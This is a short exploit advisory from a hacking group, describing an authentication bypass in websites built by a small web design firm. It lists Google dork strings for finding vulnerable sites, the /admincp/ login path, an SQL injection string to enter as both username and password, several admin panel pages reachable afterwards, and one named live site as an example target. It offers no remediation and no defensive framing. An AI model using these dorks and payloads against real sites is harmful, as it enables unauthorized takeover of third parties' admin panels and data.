#################################################################################################
# Exploit Title : Designed & Hosted By MWC Design England Authentication Bypass Vulnerability
# Author [ Discovered By ] : AYAR from Cyberizm Digital Security Army
# Date : 28/09/2018
# Vendor Homepage : mwcdesign.com
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# CWE : CWE-592 [ Authentication Bypass Issues ]
#################################################################################################
# Google Dork :
intext:''Designe & Hosted By. MWC''
intext:''Designed & Hosted By. MWC''
intext:''Design By: MWC''
# Admin Page Login Path => /admincp/
# Exploit :
Admin Username : anything' OR 'x'='x
Admin Password : anything' OR 'x'='x
# Useable Admin Control Panel URL Links =>
/admincp/mmainsections.php
/admincp/clints.php
/admincp/vinquiries.php
/admincp/mnews.php
/admincp/settings.php
/admincp/changepass.php
#################################################################################################
# Example Vulnerable Site => losotecintl.com/admincp/
#################################################################################################
# Discovered By AYAR from Cyberizm.Org Digital Security Team
#################################################################################################
# Thanks to Cyberizm Team => KingSkrupellos ~ H4CK4L ~ The_ZiziL ~ 1hT1y@R
DARKDAYS ~ Leader Shawai ~ OrJiNaL ~ Stallk3r ~ Meczup ~ Dessy and other precious members.
#################################################################################################
